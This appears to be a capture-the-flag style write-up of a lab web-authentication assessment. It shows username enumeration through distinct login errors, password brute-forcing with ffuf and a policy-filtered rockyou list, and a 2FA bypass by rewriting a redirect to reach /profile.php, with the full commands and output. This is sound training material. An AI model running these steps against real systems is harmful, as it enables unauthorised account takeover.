Scenario
You are tasked to perform a security assessment of a client's web application. For the assessment, the client has not provided you with credentials. Apply what you have learned in this module to obtain the flag.
Target: 94.237.61.52:50401
Fiddling around with the login / registration functions
Loading up the page for the target I am greeted with the following web page

Given the content of the module, the login page seems like our likely target
Going to the login page and sending a dummy login attempt to see what the post request looks like

There is nothing to interesting there. The error tells me unknown “username or password” which hints to me that maybe I am not supposed to be brute forcing usernames
Making a new login account with creds test:test

This fails, and it tells me the password policy, which does hint to me that maybe I need to do some password bruteforcing at some point

Trying to make the test account works using the following creds test:Password1234
When I tried registering a new user under the same name test, it gives me an error so that could be a potential means of enumerating users. Fuzzing usernames until I find one that doesnt give the “unknown error”
Making an account with the admin username does work, so that suggest to me that there is not an account with the name admin.
Logging in under that “admin” account name - with no admin privileges I am greeted with the following page

Looking at my cookies, I get the following:
phpsessid=g4ncpnfcot45009c40g7kttcavAttempting to url decode, hex decode, and base64 decode does not reveal data in this cookie.
Sending a couple of login request, removing the phpsessid cookie so it assigns one in the redirect, the cookie does change
h5fghn430qk4blellaunqfd73g
pn96oa3r591akkhp9nh97uli46The idea I had about registering accounts with a known username throwing the error to bruteforce a username is along the right lines I think at this point, but I think it is going to be for the login not for the registration page.
Username enumeration
Looking at the applications behavior on the login page, If I try to login with a user that exist, but with the wrong password I get the following error:
Below I was trying to login as an account I created, but with a password that is intentionally wrong

if I try to login with a username that I am sure doesnt exist, with a random password I get the following error:

So that means I can fuzz existing usernames with a fake password by filtering specifically for a response that says “invalid credentials”
I’m gonna do this part with caido instead of ffuf because I like the HTTPQL interface
I was having some issues at this point so I reloaded the instance. New Target IP:94.237.61.52:52568
Loaded up caido, turned on queuing and then sent a login attempt with some dummy credentials.
Then I sent that request to automate.
Configured the payload to be the xato-net-10-million-usernames.txt from seclists
Configured the workers to be 50 to speed things up a bit
Highlighted the username field and made that my placeholder for where the payload will be injected by clicking on the + sign in the automate window

Clicked run
Now I can filter for a username theoretically
This was taking a long time, so i opted to use ffuf instead for times sake.
Pretty much doing the same thing as in caido.
This below command is doing the following:
- -u Setting the endpoint
- -H Setting content type header
- -b Setting the phpsessid cookie,
- -X Setting the request type (post)
- -d (using a data field because this is a post request) Setting the the fuzzing endpoint (username field)
- -w Setting the wordlist,
- -fr and then filtering for the word “Unknown” using regex
┌──(kali㉿kali)-[~/htb/broken_authentication]
└─$ ffuf -u http://94.237.61.52:52568/login.php -H 'Content-Type: application/x-www-form-urlencoded' -b 'Cookie: PHPSESSID=g4ncpnfcot45009c40g7kttcav' -d 'username=FUZZ&password=Password1234' -fr 'Unknown' -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://94.237.61.52:52568/login.php
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: Cookie: PHPSESSID=g4ncpnfcot45009c40g7kttcav
:: Data : username=FUZZ&password=Password1234
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Unknown
________________________________________________
gladys [Status: 200, Size: 4344, Words: 680, Lines: 91, Duration: 101ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
This found the user gladys
Bruteforcing the Gladys users password
Now given that I have the password policy I assume I am supposed to bruteforce this users password after formatting the rockyou list with the conditions they tell us about.

The password conditions are as follows:
- Contains one digit
- contains at least one lower case character
- contains at least one upper-case character
- contains no special characters
- is 12 chars long
I used gemini to figure out how to grep rockyou for these conditions and got the following command.
I used the following prompt
how can I use grep to filter a file and give me outputs that match only the following conditions
Contains one digit
contains at least one lower case character
contains at least one upper-case character
contains no special characters
is 12 chars long This gave me the following command
grep -P '^(?=\D*\d\D*$)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{12}$' /usr/share/wordlists/rockyou.txt > pwlist.txt
I realized looking at the list that it was taking contains one number literally, when I know that you can have more than one number. So I think I need to change the prompt to be at LEAST one number
Modifying my prompt to be the following:
how can I use grep to filter a file and give me outputs that match only the following conditions
Contains at least one digit
contains at least one lower case character
contains at least one upper-case character
contains no special characters
is 12 chars long I get the following command:
grep -P '^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])[a-zA-Z0-9]{12}$' /usr/share/wordlists/rockyou.txt > pwlist3.txtRunning ffuf but fuzzing on the password parameter and specifically for the gladys user
ffuf -u http://94.237.61.52:52568/login.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=gladys&password=FUZZ' -w pwlist3.txt -fr 'Invalid' -t 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://94.237.61.52:52568/login.php
:: Wordlist : FUZZ: /home/kali/htb/broken_authentication/pwlist3.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=gladys&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid
________________________________________________
dWinaldasD13 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 99ms]
The ‘dWinaldasD13’ value gets a redirect which is a good sign.
Failing to bruteforce the 2FA OTP
Logging into the page on my browser, I am then bought to a page that asks me for a 2FA OTP token.

Entering a dummy value it appears to be sending the OTP in a post request

Attempting to brute force the OTP using 4 digit numbers fails
ffuf -u http://94.237.61.52:52568/2fa.php -H 'Content-Type: application/x-www-form-urlencoded' -d 'otp=FUZZ' -w tokens.txt -b 'PHPSESSID=g4ncpnfcot45009c40g7kttcav'So the next logical step is to see if in this stage we can bypass the OTP requirement and access a resource.
Enumerating endpoints on the web server
Normally I’d start my recon by fuzzing the web server for endpoints, but I jumped the gun here.
Circling back to that now. Using ffuf to fuzz the web server for endpoints
┌──(kali㉿kali)-[~/htb/broken_authentication]
└─$ ffuf -u http://94.237.61.52:52568/FUZZ.php -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://94.237.61.52:52568/FUZZ.php
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 100ms]
login [Status: 200, Size: 4253, Words: 656, Lines: 91, Duration: 101ms]
index [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 102ms]
profile [Status: 302, Size: 3717, Words: 606, Lines: 78, Duration: 100ms]
register [Status: 200, Size: 4245, Words: 655, Lines: 91, Duration: 2950ms]This found the profile endpoint.
Bypassing the 2fa OTP page to go directly to the profile endpoint as gladys
I sent a login request as gladys using the password dWinaldasD13
Then I made sure to turn on capturing the responses as well in caido
Then I modified the response from the server
Before:

After changing the location in the response:

Then clicking forward, now I have a get request to the 2fa page

I modified the get request above to have the Get being sent to /profile.php
Then get the following request

I need to modify the request to be a 200 Ok instead of a redirect, but looking at the source of the page in the response it is evident that I am able to view the source of the /profile page bypassing the 2FA OTP authentication functionality by accessing the /profile endpoint as gladys directly
I could see the flag in the response in caido, but forwarding the request again will give me the flag.
